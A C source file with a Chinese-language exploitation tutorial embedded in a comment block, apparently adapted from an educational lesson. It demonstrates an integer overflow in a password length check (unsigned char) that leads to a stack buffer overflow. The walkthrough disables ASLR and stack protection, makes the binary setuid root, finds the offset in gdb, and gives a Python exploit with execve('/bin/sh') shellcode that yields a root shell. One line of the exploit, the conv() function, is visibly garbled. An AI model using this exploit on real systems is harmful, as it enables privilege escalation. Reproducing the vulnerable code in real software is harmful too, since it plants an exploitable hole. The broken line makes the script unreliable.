/*
 * Vulnerable Code: (易受攻击代码)
 */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void store_passwd_indb(char* passwd) 
{

}

void validate_uname(char* uname) 
{

}

void validate_passwd(char* passwd) 
{
    char passwd_buf[11];
    unsigned char passwd_len = strlen(passwd); /* [1] */ 

    if(passwd_len >= 4 && passwd_len <= 8) { /* [2] */
        printf("Valid Password\n"); /* [3] */ 
        fflush(stdout);
        strcpy(passwd_buf,passwd); /* [4] */
    } else {
        printf("Invalid Password\n"); /* [5] */
        fflush(stdout);
    }

    store_passwd_indb(passwd_buf); /* [6] */
}

int main(int argc, char* argv[]) 
{
    if(argc!=3) {
    printf("Usage Error:   \n");
    fflush(stdout);
        exit(-1);
    }
    validate_uname(argv[1]);
    validate_passwd(argv[2]);

    return 0;
}

#if 0

echo 0 > /proc/sys/kernel/randomize_va_space

gcc -g -fno-stack-protector -z execstack -o vuln vuln.c

sudo chown root vuln
sudo chgrp root vuln
sudo chmod +s vuln

上述易受攻击程序的第[1]行显示存在整数溢出错误。strlen（）的返回类型是size_t（unsigned int），
它存储在unsigned char数据类型中。因此，任何大于unsigned char支持的最大值的值都会导致整数溢出。
因此，当密码长度为261时，261会被包装并存储为'passwd_len'变量中的5！！由于这个整数溢出，
可以绕过在第[2]行执行的边界检查，从而导致基于堆栈的缓冲区溢出！！！
正如本文所述，基于堆栈的缓冲区溢出会导致任意代码执行。
在查看漏洞代码之前，为了更好地理解，让我们拆解并绘制易受攻击代码的堆栈布局！！

由于我们已经知道长度为261的密码，因此绕过了边界检查，并允许我们覆盖堆栈中的返回地址。
让我们通过发送一系列a来测试一下。

测试步骤1：是否可以覆盖返回地址？

(gdb) r sploitfun `python -c 'print "A"*261'`
(gdb) p/x $eip
$1 = 0x41414141
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) p/x $eip
$1 = 0x41414141]


测试步骤2：与目标缓冲区的偏移量是多少？
在这里，让我们找出缓冲区“passwd_buf”中的偏移返回地址。在分解并绘制了validate_passwd（）的堆栈布局后，现在让我们尝试查找偏移位置信息！！堆栈布局显示返回地址位于缓冲区“passwd_buf”的偏移量（0x18）处。0x18计算如下：
0x18=0xb+0x1+0x4+0x4+0x4
哪里
0xb是“passwd_buf”大小
0x1是“passwd_len”大小
0x4是对齐空间
0x4是edi
0x4是呼叫者的EBP
因此，用户输入形式为“A”*24+“B”*4+“C”*233，会用“A”覆盖passwd_buf、passwd_len、对齐空间、edi和调用者的ebp，用“BBBB”覆盖返回地址，用C覆盖剩余空间。

(gdb) r sploitfun `python -c 'print "A"*24 + "B"*4 + "C"*233'`
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) p/x $eip
$1 = 0x42424242

上面的输出显示攻击者控制了返回地址。位于堆栈位置（0xbffff1fc）的返回地址被“BBBB”覆盖。有了这些信息，让我们编写一个漏洞利用程序来实现任意代码执行。

Exploit Code:

#exp.py 
#!/usr/bin/env python
import struct
from subprocess import call

arg1 = "sploitfun"

#Stack address where shellcode is copied.
ret_addr = 0xbffff274

#Spawn a shell
#execve(/bin/sh)
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

#endianess convertion
def conv(num):
 return struct.pack("<I",numunk + RA + NOP's + Shellcode
arg2 = "A" * 24
arg2 += conv(ret_addr);
arg2 += "\x90" * 100
arg2 += scode
arg2 += "C" * 108

print "Calling vulnerable program"
call(["./vuln", arg1, arg2])

Executing above exploit program gives us root shell (as shown below):

$ python exp.py 
Calling vulnerable program
Valid Password
# id
uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun)
# exit

#endif